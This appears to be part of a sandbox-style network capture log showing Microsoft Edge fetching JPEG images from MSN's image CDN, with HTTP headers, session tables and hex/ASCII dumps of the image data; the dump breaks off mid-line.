2024-11-22 16:09:07 UTC	519	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msDML Last-Modified: Sun, 17 Nov 2024 00:54:30 GMT X-Source-Length: 86931 X-Datacenter: eastap X-ActivityId: 9823d744-1753-43fb-8aac-d76b0a0a8d0e Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 86931 Cache-Control: public, max-age=334047 Expires: Tue, 26 Nov 2024 12:56:34 GMT Date: Fri, 22 Nov 2024 16:09:07 GMT Connection: close
2024-11-22 16:09:07 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-22 16:09:08 UTC	16384	IN	Data Raw: aa 22 99 f9 6b 19 8e 77 33 6f 51 d3 7b 52 bb 5c f6 1a ae 74 35 d8 43 c0 24 41 d4 13 73 6c 8c cc 2f 4d d1 f5 fd 4d 50 7b cd a2 db d8 e2 20 e1 1a c8 b8 91 68 e6 be 44 f7 f7 5e 26 24 72 f7 ec 5f 50 a2 05 5a 67 0b b2 64 43 da e2 08 1b c2 d3 a5 b5 4f cd 78 45 c7 3f ca bf b9 78 63 1f 24 cc 4f 2e dc 6f fb 3d 47 ee 31 59 98 4c 6a 66 47 95 84 ac 7e b7 af a9 d2 d3 73 81 6e eb 9a 0e 21 91 8c 94 a8 b1 ad 30 64 98 33 bd 61 c8 95 e5 fd b0 e6 d1 a6 69 10 48 aa 06 fe 42 0c c5 ef 7b dd 70 78 f2 cf 3f 24 45 cf 7f c9 d9 9e 38 61 86 53 51 b4 08 67 fe a4 13 15 28 cf 22 c7 41 3f e1 74 81 6f e2 5e 8a 8f b6 3a 2a c7 0f 70 b1 dc 9c d3 f7 12 17 c4 19 f1 0b da 5b 7e 56 5e 8a 83 5a de bb a7 68 3f ad d2 fe 77 b1 1b 32 5e d6 78 63 1d 7b 4c fd 9e 3e 13 33 d3 bc 47 dd f6 b6 96 d4 68 73 Data Ascii: "kw3oQ{R\t5C$Asl/MMP{ hD^&$r_PZgdCOxE?xc$O.o=G1YLjfG~sn!0d3aiHB{px?$E8aSQg("A?to^:*p[~V^Zh?w2^xc{L>3Ghs
2024-11-22 16:09:08 UTC	1746	IN	Data Raw: 05 67 96 31 94 54 c3 4c 73 9c 66 e2 68 5d 46 00 03 80 c6 48 69 27 2b 7e 91 cb 8a f2 3e d0 79 73 c3 03 4c 86 cc 8b 83 9d c0 d2 01 d5 7a 2a cf 34 e9 3d c6 74 c2 0e 86 4e 97 17 e2 bc b8 7f 78 be a3 ea 9a 75 1a 0e 11 1f 19 68 82 d9 ca da 6b c5 65 3b 45 1c cd cf 46 28 6e 26 98 8d d3 61 a3 b3 fa 2d fa d5 1b 5b a5 a4 4f f6 94 06 03 1f a9 84 cb 49 3c db 70 b2 dc f0 34 6b 65 e0 58 0f 3b 48 91 e2 a4 29 e3 a2 5d 2d 02 6c 26 e2 73 d8 38 2c 27 91 dc c5 c7 58 dd 5d ca ac 6b a3 47 80 cd 01 b1 20 d8 99 83 23 28 52 2c ab d4 b3 f4 83 49 82 d2 05 9b ef 8f 32 ab 0c 16 b6 c4 5e fc ac 94 25 ae 76 b8 70 81 33 96 5b 51 12 ce e4 b3 45 ed 8d eb 96 cb bf 85 a7 6e b6 bd 97 b0 a0 fa 6e a6 30 0b 09 03 15 c9 00 eb 99 13 c5 79 ba 1d 3b ab e2 38 9a 19 4c 09 71 70 6c 65 00 bb dc b6 1a fa Data Ascii: g1TLsfh]FHi'+~>ysLz*4=tNxuhke;EF(n&a-[OI<p4keX;H)]-l&s8,'X]kG #(R,I2^%vp3[QEnn0y;8Lqple
2024-11-22 16:09:08 UTC	16384	IN	Data Raw: 72 b2 ac 70 9c 8b 29 88 de ef f1 d9 ed e9 50 a0 c0 e2 61 87 f8 88 1e 1a 22 31 35 8d 3b cc f2 9f f2 5f 1f ac ea d4 9e 03 2a 3c 92 05 c3 89 12 7f 4d ac 48 f1 5a 1f bc ab 4a a9 c5 55 ce c0 cb 4f ea 23 97 2d ed 38 05 d1 3f c7 99 ff 00 75 b1 8f 34 47 78 ad fe 8f a4 8a a6 c0 16 93 a7 c4 2d c2 fa a1 cd 37 bd ae 71 0d bc ea d1 a7 85 97 82 a7 ed 4a c2 a7 f6 b2 c3 04 df 08 16 d2 e0 95 ed 99 ed 70 c2 de e3 66 5a 30 b4 16 92 67 f5 11 fa 5b 1c f5 53 3e 09 c6 95 1e 58 ca c9 6d 06 88 0e 02 1d a4 d8 ff 00 e6 4e 14 62 c2 a6 01 ac 62 10 23 33 bd 11 b5 05 5f db 46 a3 e2 83 44 5c cb a7 94 81 02 22 40 28 76 fb 5a ab 1e 59 14 b7 cc c8 69 90 de 62 64 17 70 8f 44 be 3c ed 7a f1 a6 97 51 4f b6 d1 86 a5 1a af 3a 0a 6d 93 e2 db 78 ad 3e 96 95 7e 94 12 e0 00 76 a5 a6 5c 00 bc 61 3e Data Ascii: rp)Pa"15;_*<MHZJUO#-8?u4Gx-7qJpfZ0g[S>XmNbb#3_FD\"@(vZYibdpD<zQO:mx>~v\a>
2024-11-22 16:09:08 UTC	16384	IN	Data Raw: ab 88 4c 21 08 77 04 64 49 54 19 88 c6 a8 04 b1 18 bb 01 07 8a 61 69 1f e4 a4 d2 08 9e 8e 1a e7 bd dc a0 71 25 0a 25 fa 0b 66 79 22 f0 c0 00 42 53 bc 51 c6 d3 66 d5 a8 1d 26 e2 79 2c d6 c3 9f c3 ec 8a c2 62 f7 29 10 ae 22 99 ce e6 90 d1 97 90 59 c6 4d 53 3e 08 bc d2 70 cb a5 52 47 e0 b0 13 aa 7b 80 c1 96 57 84 13 4b ac 26 fa ca 3a 88 15 0c 38 d8 72 cf 82 99 d9 a4 6f 2b e9 ab b2 88 70 73 a0 16 91 27 3e 1e 0b 2a ab 8b fc 89 8f 34 7d 6e 95 92 4e 2c 52 67 2b 7a ac 97 34 b7 4b 64 a6 2b ba f2 99 88 d3 3c 97 4d d8 46 72 99 73 ac f9 28 02 a7 2e 00 ab 64 e2 cf 5e 69 a2 8b 9d 61 03 8f 35 dd c2 5e 09 8b 08 13 a6 8b 47 a7 78 35 04 da 01 8c c4 c7 cc 28 9d a1 a6 31 13 2a 7d 16 50 bb 88 79 d0 34 58 0d bf 44 75 26 cb 1b 51 e0 00 6f 03 86 64 7d 82 cd a9 84 93 a9 13 ae 67 Data Ascii: L!wdITaiq%%fy"BSQf&y,b)"YMS>pRG{WK&:8ro+ps'>4}nN,Rg+z4Kd+<MFrs(.d^ia5^Gx5(1}Py4XDu&Qod}g
2024-11-22 16:09:08 UTC	7952	IN	Data Raw: a6 60 32 a7 3d c3 ea 7e a8 7c c6 cd 73 4e d2 79 10 3d 0a 62 19 6a d5 91 05 41 52 92 53 09 73 c1 30 5e 53 4a 7a 2e 11 ca ea b6 a8 5e 61 23 68 49 c3 f4 41 df 52 9d 30 dc d0 63 e6 50 42 c9 90 85 b1 4c 71 d1 25 04 62 ab ca a9 e0 a9 30 66 b0 99 29 59 66 a8 a0 27 2a 22 c5 45 76 68 07 93 f0 7c e6 ba 25 87 fd d3 f7 51 02 cd d9 ef 55 3b a7 6a 64 91 74 c7 2c 87 cf 35 64 e4 96 3d de f5 77 e4 90 41 12 4e 51 68 41 94 58 71 00 70 08 35 11 10 67 12 5b b5 4d 82 73 e3 c1 0e e1 05 04 90 54 35 2a db 9e c5 11 aa 0c 45 33 a8 f5 56 eb 68 52 9b aa b3 21 04 b6 eb e6 8a f2 f0 41 0d 6c 8c 87 0d 3c 10 45 54 b2 53 33 d8 99 50 5b 42 12 c5 93 06 a8 6a e5 31 3f 3f 8a 54 dc ca 01 b8 9c d7 0f 7a 8b cd 85 bc fd cb b4 5c f3 22 67 c9 01 cd cb de aa 77 8a e6 aa 77 c4 80 a4 c9 d3 ee 95 7d aa Data Ascii: `2=~\|sNy=bjARSs0^SJz.^a#hIAR0cPBLq%b0f)Yf'"Evh\|%QU;jdt,5d=wANQhAXqp5g[MsT5E3VhR!Al<ETS3P[Bj1??Tz\"gww}
2024-11-22 16:09:08 UTC	12216	IN	Data Raw: 71 09 0f c6 4d a6 3f de 7e 89 fc 70 9f 96 5e e9 bd 4b bf d5 1e 09 ce ea f0 8b d4 1e 6d fc 4a f9 e8 91 f8 c7 d6 54 1d 58 0f d4 06 c6 4f dd 2f 8e 15 f2 cb df fe fe ff 00 da 7f db f8 26 fe f6 74 78 f3 20 7b d7 ce 45 4a 45 c3 13 c9 da 07 b9 4d ce a3 7b 8f 07 7d 53 f8 f1 29 f2 e4 fa 10 ea 9e 35 ac dd 92 3e a5 5f ef 8f fa a0 7f 88 7d 17 ce 5b 07 42 d3 b5 51 24 66 d3 c2 df f5 2b f8 e1 9f cb 2f a2 3b af 04 7f 6a df e6 3f 45 11 d6 da f5 5b e6 e5 f3 63 55 bc 80 f3 8f 71 51 35 5b 17 71 fe 6f c1 2f 8f 13 f9 72 7d 30 f5 cc 1f f2 0f 27 7e 08 7f de b0 e9 50 7f 30 fa 2f 9c 8a f4 ef 67 1f 32 a1 df 6f 27 fc f9 2a d1 08 f9 32 7d 23 f7 61 c2 d5 40 f3 1f 45 7f b8 1f ea 03 c6 fe e6 af 9b 97 b5 c3 e0 70 f3 5d 89 b1 67 10 55 69 84 eb 97 d3 85 77 45 aa 37 f9 a0 fa 85 13 59 c7 fe Data Ascii: qM?~p^KmJTXO/&tx {EJEM{}S)5>_}[BQ$f+/;j?E[cUqQ5[qo/r}0'~P0/g2o'*2}#a@Ep]gUiwE7Y

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.10	49823	104.117.182.72	443	7852	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:07 UTC	634	OUT	GET /tenant/amp/entityid/AA12sf7A.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 16:09:08 UTC	521	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA12sf7A Last-Modified: Sun, 20 Oct 2024 23:49:33 GMT X-Source-Length: 114962 X-Datacenter: eastus X-ActivityId: f9c97283-f306-495f-9b12-cae296533644 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 114962 Cache-Control: public, max-age=329828 Expires: Tue, 26 Nov 2024 11:46:15 GMT Date: Fri, 22 Nov 2024 16:09:07 GMT Connection: close
2024-11-22 16:09:08 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-22 16:09:08 UTC	16384	IN	Data Raw: 85 da a2 66 d0 8a a6 2d 98 a6 2f 2d 29 89 be 4e 39 24 9e 3c ca c9 6c 03 84 93 dc b9 27 52 75 44 2e 13 33 10 2e 9d 07 af 45 54 38 c5 fd ca e3 2b a2 e5 30 72 b2 4e 32 06 5a 5d 46 06 20 9e a8 4b 44 d3 0b 39 00 9c 91 42 d3 cd 94 78 b4 e5 29 18 34 d8 bf 6e 2a 3c ee 90 16 0a 2e a6 49 37 12 50 5a f0 e3 74 81 04 cd a6 ca 63 78 c9 f2 f4 aa c1 b8 6e 6f c1 04 64 99 c6 4c 77 fa 85 91 06 66 51 24 60 8c c5 af 19 81 9f 72 98 67 ec 48 18 55 cd a0 8b e8 79 1f 4a bb 3d a0 70 81 c6 75 31 fb ca 63 81 85 00 09 c9 5d 6b 0e 86 fe 2a 40 08 9b 22 66 4f 72 b0 01 1c e7 8a 08 04 6c 6d e7 dd e0 af b1 92 09 fa 41 f0 ee 40 b1 c2 d5 dc 61 a4 99 e5 de a6 ac 00 25 b2 1d 88 0c 18 6f 8a 22 79 8e 00 1b a6 01 4a b3 58 d9 91 7d 33 45 27 64 23 d1 cd 05 c4 d3 0b 63 3c a1 49 0d 73 b0 91 11 88 88 Data Ascii: f-/-)N9$<l'RuD.3.ET8+0rN2Z]F KD9Bx)4n<.I7PZtcxnodLwfQ$`rgHUyJ=pu1c]k@"fOrlmA@a%o"yJX}3E'd#c<Is
2024-11-22 16:09:08 UTC	1275	IN	Data Raw: ca b9 d5 e8 5a 7c d1 4d ed 0a 3b a6 09 1a eb a0 e4 93 89 78 90 60 f0 c5 88 0e 90 a5 56 6a 51 92 95 42 e6 90 73 d2 f9 4c cf ad d5 37 ba 41 92 48 cb 90 27 8f 44 e9 6b 10 72 89 95 a6 d5 0e 7e fc 37 3d 6d 1d 17 01 c6 09 37 ce 07 ee b3 9a 7a 3b 62 32 54 4b 9a ef 4d 86 1d ba 6c 75 13 9c 6b af 92 e6 31 c1 d2 0c 93 63 33 6b c4 dc e4 bc f9 87 4c c3 ae 26 ec ee b6 49 6c 88 06 77 b5 b7 13 75 83 50 82 44 18 eb 3e 07 db 79 58 44 5f e4 d3 0c 59 a2 2f 2e 36 c7 b2 d4 a1 5f 11 20 b0 b1 d7 16 f2 3e c2 57 4f b4 69 19 4c 67 98 10 23 28 0b d3 fa 8f a8 a7 7b 66 29 b4 c4 c4 c6 5d 9c de 76 1b 3c 9f a6 fa 6a b6 37 a6 ab c5 51 31 31 97 9e 8f 56 ed ba 8d 2a e0 87 b1 ae 74 49 91 7f 11 07 c5 5d 63 59 04 e4 64 4c 9e 47 5c 93 a3 77 73 6f 3a 2a 98 8e df db 46 13 76 7b 9b 5b 7b 99 57 44 Data Ascii: Z\|M;x`VjQBsL7AH'Dkr~7=m7z;b2TKMluk1c3kL&IlwuPD>yXD_Y/.6_ >WOiLg#({f)]v<j7Q11VtI]cYdLG\wso:Fv{[{WD
2024-11-22 16:09:08 UTC	16384	IN	Data Raw: 78 cb b7 35 dd 82 1c 23 29 c2 73 e4 42 f4 1f a3 01 9f f3 00 e8 9c 25 b7 81 d0 c6 57 57 b7 46 17 17 7d b9 cb c9 e7 c6 4f 6a 7e 9f 6b fa bc de 79 b5 6a 16 d2 70 73 41 76 36 43 80 c9 96 90 40 99 8b 66 ba 6f d9 a6 06 36 4c 9e cc 16 3b 78 ea 1b 06 c7 42 bd 5b 6b e9 e2 e3 a2 ba e7 37 8f 7b c4 3a f7 28 a2 9c a2 ea 58 2a 16 e2 c3 48 88 06 77 b5 31 26 f7 b8 5d 1a 75 b1 61 a2 f7 34 c0 c8 b6 1b 8b 16 2c a4 92 78 18 85 d9 cb 36 33 7b 65 ab 96 c7 95 f9 39 58 1a c6 b8 96 50 24 5f 0e 07 3a 47 59 85 dd ec e8 b6 71 35 87 98 2e 6e 9d 4f a1 6f e6 e5 c5 b9 da 9f 25 fe 2e 19 71 7d b1 06 e3 73 77 48 c3 70 2c 2f 7e e5 ba b5 a8 3a ab 9b 4d a4 01 68 2e b9 e7 70 7e 2b a6 c7 4c 4d b3 41 4c c2 6a 8c ec 89 6c 83 95 da 65 b9 09 47 ea 19 d8 ba 99 a4 d7 17 38 1c 52 0c 5a 22 e3 da 92 ed Data Ascii: x5#)sB%WWF}Oj~kyjpsAv6C@fo6L;xB[k7{:(X*Hw1&]ua4,x63{e9XP$_:GYq5.nOo%.q}swHp,/~:Mh.p~+LMALjleG8RZ"
2024-11-22 16:09:08 UTC	16384	IN	Data Raw: 50 56 79 c7 fc 76 3f 76 10 e9 04 5b ee 2b b3 ba e6 de 9a e2 78 c4 39 3b c6 35 53 31 cd c8 1b 38 12 5a 5e ec 24 8c 25 b8 26 38 19 32 17 66 a8 a7 8d 80 54 37 9b b4 36 d8 44 df 3c d7 36 0e dd 5d 73 69 98 ce 1d 18 9c b1 7b 4e 4f 1d 50 b8 61 73 88 68 78 c4 2f 98 98 f8 af 45 b4 ff 00 08 66 4f b3 a6 5a dc a3 96 57 e0 bc fc a2 6c ec ae 6d 6b 5b c1 db 69 73 d3 9d f5 84 bb 0b c8 a3 9f cc ef 8a e7 53 ac 69 1c 00 18 18 9c 72 32 0e 5c c4 67 2a 36 e2 f1 3d ac e9 dc 8a 66 5a 55 3a 76 7e e2 69 99 85 05 a5 ea 07 ce 82 42 60 02 4d 00 18 42 00 01 09 80 0d 08 00 04 d2 33 01 09 00 66 92 01 03 42 46 0c 21 23 20 10 91 98 34 92 00 1a 48 00 1a 48 06 4d 2c a4 66 46 92 01 91 a1 00 03 51 39 e1 b6 cc a4 53 36 36 b4 51 8b b0 aa 18 55 cd 4b c9 ee d6 fd 16 5b 93 68 ed 67 33 9e 6d 36 69 Data Ascii: PVyv?v[+x9;5S18Z^$%&82fT76D<6]si{NOPashx/EfOZWlmk[isSir2\g*6=fZU:v~iB`MB3fBF!# 4HHM,fFQ9S66QUK[hg3m6i
2024-11-22 16:09:08 UTC	7952	IN	Data Raw: 99 de f5 63 6b 11 56 b6 1c 50 da 8e 1c be eb 67 a6 4b 48 9c a3 b1 e7 ce f4 44 cc 5f 4f d9 cb 86 73 7a 34 6c cc d3 4c db 5b 4f 9b 86 03 9a 29 b4 8c 98 5a 6f ae 8b 4e 04 d4 63 65 db d1 7d 78 9d 38 2e dc 50 f3 27 7b f1 99 bb 1a 28 98 88 7a 94 ed 7e 51 0f 1f 56 db 70 ff 00 f2 b3 d8 ba 95 ff 00 1f 5e 9e d1 da 4b 63 10 70 92 6f e5 aa f5 ef 7a 7d 1e 5d 3f 57 44 d3 69 89 bd bd b8 bc 8b 5a b8 ed 87 a5 57 d2 d5 8f 14 4c 5a eb cf 2f c5 46 1b 3f cd 4e 71 5a 05 ee 32 ba ee 56 d8 aa 06 d2 30 e7 61 2c aa ec 22 cd 05 da 98 cb aa ed a6 a8 89 9c f8 3c 8a 37 a6 6a d3 2f 97 d9 cd bb 4d 53 46 9c 7f 67 a5 b9 4d 38 27 3c f3 8b 65 9c c4 67 6e aa db 67 e3 a8 ed 8f 6b aa 76 80 b4 16 8c 24 0b 1f f6 95 5f f2 9f 92 ab b1 55 63 58 da 6e 0e 61 76 f0 33 20 c6 84 2f 66 2b 98 65 44 62 8e Data Ascii: ckVPgKHD_Osz4lL[O)ZoNce}x8.P'{(z~QVp^Kcpoz}]?WDiZWLZ/F?NqZ2V0a,"<7j/MSFgM8'<egngkv$_UcXnav3 /f+eDb
2024-11-22 16:09:08 UTC	16384	IN	Data Raw: 33 39 b8 58 6b 99 8a 75 38 7d be a6 cb a9 b4 d4 0d a0 d0 c8 00 cd c3 89 cb 47 5e e0 9e 37 55 74 ca 22 e5 33 2e 40 d9 6b 97 0e d1 ae 6f 00 73 3d c2 55 16 ed 55 41 8c 6e 23 84 9f 7a bb a5 36 93 bb a4 ea 55 40 24 b1 d8 8d a3 80 d2 14 4c da ea c0 69 27 94 ba c3 ce 02 24 8c ee a6 dd 96 b6 6e 63 b8 1b 1f 8e 41 5c a7 55 c4 61 c5 79 bc 62 93 c3 5c ba a1 49 b2 b8 70 6e 9e c8 e6 dd c0 5f 2b 80 07 43 af 35 97 b0 01 8d ef c4 ec 80 cc 47 8d d1 06 8b 05 a6 8b 61 0e 64 1b b8 3b 29 bc 09 12 4b 6c 0e 97 55 08 0e 69 2d 37 91 ca c7 92 19 dc 58 dd ea 1b 39 22 ce 61 13 25 d3 00 18 81 ba eb c4 c0 c8 ae 76 cc e7 d3 99 0e 01 ce ee 83 20 83 f1 e6 9c c5 c1 40 5c da 36 0d a5 d4 de e6 35 93 4a 0b 9a c2 71 83 f5 b4 44 75 32 6c 17 42 96 d8 29 d5 63 e6 03 9b 84 c4 e6 04 72 d2 ca 62 95 Data Ascii: 39Xku8}G^7Ut"3.@kos=UUAn#z6U@$Li'$ncA\Uayb\Ipn_+C5Gad;)KlUi-7X9"a%v @\65JqDu2lB)crb
2024-11-22 16:09:08 UTC	16384	IN	Data Raw: 99 5a 41 18 66 53 40 00 a5 08 06 45 74 d0 0c 89 08 06 09 34 00 19 4d 00 02 42 08 c0 42 00 04 84 00 64 84 00 02 10 0c 89 34 ac 15 72 24 5d 2b 1a ae 92 4d 2b 05 5c 89 09 03 19 04 5d 05 99 9e 41 24 8e f2 71 25 68 08 41 5e 4c 5a 02 68 06 02 69 17 aa a0 e2 39 1a d0 05 08 99 e6 a8 5c 44 f4 48 13 01 4c a6 65 ac 2e 21 b0 8e f4 a5 12 a8 5c 43 48 84 e5 9c c9 aa cd 26 13 96 61 49 47 54 81 09 4d 93 2a 83 84 81 c4 6b 92 cd b5 f0 ba ce aa 62 44 b5 a6 a9 8e 25 16 eb 0e 95 2a 84 98 97 47 af 82 cd 1f e8 90 46 51 3e 2b 83 72 88 b1 ee f6 bd 2d aa e6 e5 b3 9f 07 6e 9b 6a 3e e4 34 5b 22 ef fb 6e 7d aa 16 64 08 02 da 48 69 f0 8f 89 0b cb aa 68 8d 2f af 4f ba aa f6 ca ef 5a 8c 73 ad b4 d2 ff 00 64 53 ed c1 d6 8d a1 b1 21 90 23 ea f3 b1 52 53 63 dd 20 b4 81 c9 cd 3e be 6b 8f f0 Data Ascii: ZAfS@Et4MBBd4r$]+M+\]A$q%hA^LZhi9\DHLe.!\CH&aIGTMkbD%GFQ>+r-nj>4["n}dHih/OZsdS!#RSc >k
2024-11-22 16:09:08 UTC	7952	IN	Data Raw: f3 0a 91 71 e3 e5 e8 5c 78 b9 3b 62 98 e9 e2 ed b7 37 14 d5 3d 7c 3f 45 c8 e6 3c 15 27 17 c5 81 3e 0b 92 ee c8 8a 6f c1 d9 67 0c d5 5d b8 f8 2d c2 e7 76 ae 1a 11 e1 ef 5c b7 77 c5 14 f5 87 65 9e 77 79 57 67 93 a3 0b 9d 8a ae 90 3d 7a ae 0b bb f0 ed f1 7a 13 1e d9 bc e8 ab 73 82 fe 18 d7 e2 b9 c5 d5 9b f3 37 be 3d e1 71 62 bf 0f 93 bb 0e dc fb b3 e9 7f b3 bb 05 b8 fc de 7e 2d c8 f7 a9 f5 b7 dd d3 dd 1c 7c 4f bd 73 05 47 bb 27 b3 a0 3e 92 b8 33 9e 9e 50 ef c1 4c 7b b5 76 cc 3d 1f c6 3a f9 cf dd e7 63 aa 7d fa 7b 22 7f 57 62 dc 5d fe 6f 4a e4 9c 64 66 e1 e1 ef 5e 66 7c bc bf 47 a7 f8 c7 08 f1 fb 3d 4c b9 f9 fe af 2f f2 98 d6 7c 3e ee 83 9c 3e a1 e3 3e d5 cb ec 89 f9 8a e1 a6 99 e9 3e 4f 4b bc 88 f7 61 e8 55 54 47 18 f3 79 5d dc cf bc e8 17 73 5c c3 b3 8c cf Data Ascii: q\x;b7=\|?E<'>og]-v\wewyWg=zzs7=qb~-\|OsG'>3PL{v=:c}{"Wb]oJdf^f\|G=L/\|>>>>OKaUTGy]s\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.10	49822	104.117.182.72	443	7852	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:07 UTC	634	OUT	GET /tenant/amp/entityid/BB1msyCF.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 16:09:08 UTC	521	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msyCF Last-Modified: Wed, 20 Nov 2024 22:00:24 GMT X-Source-Length: 131943 X-Datacenter: westus X-ActivityId: 476807c7-d5cd-4361-bc22-3d8a58687911 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 131943 Cache-Control: public, max-age=280244 Expires: Mon, 25 Nov 2024 21:59:51 GMT Date: Fri, 22 Nov 2024 16:09:07 GMT Connection: close
2024-11-22 16:09:08 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-22 16:09:08 UTC	16384	IN	Data Raw: 8d 84 d6 19 f7 08 b6 94 84 aa 46 20 64 30 e5 46 36 34 64 de ba 85 d0 a7 2d 99 fb 43 05 4b 1a 40 12 09 3c 39 b3 60 93 3a 68 29 24 52 36 d1 f6 84 a6 14 b3 96 ed bc f3 e0 eb 08 59 64 21 65 46 3e d8 01 3f 6d ae 0a b4 ad 70 b5 53 2a 90 00 65 2a fa 13 2a 06 a4 88 92 79 d6 93 c2 61 84 ab c6 ec f6 06 55 f7 ee 73 9e 83 18 8b 12 25 3a 0e f0 72 0d b6 ed 23 d4 52 b5 a4 8c 09 92 29 89 c8 4f 16 35 b4 95 a5 6a 4c a4 03 f8 7c d9 45 2a 28 81 95 49 25 52 67 90 19 73 69 be 3c 01 12 37 91 71 51 38 d0 7d 21 46 0d 49 12 63 73 68 20 69 03 d3 b6 01 20 9c c1 19 ec f2 da c3 4a 54 81 21 32 aa c2 cd 04 71 8c b9 93 c1 c0 a4 76 41 52 77 d4 66 77 63 e6 e6 91 76 14 bb 8a 82 45 c4 ec 99 3c 68 32 ae 4c 74 eb b9 a4 2a 15 8c d6 46 d9 e0 d3 66 cd a5 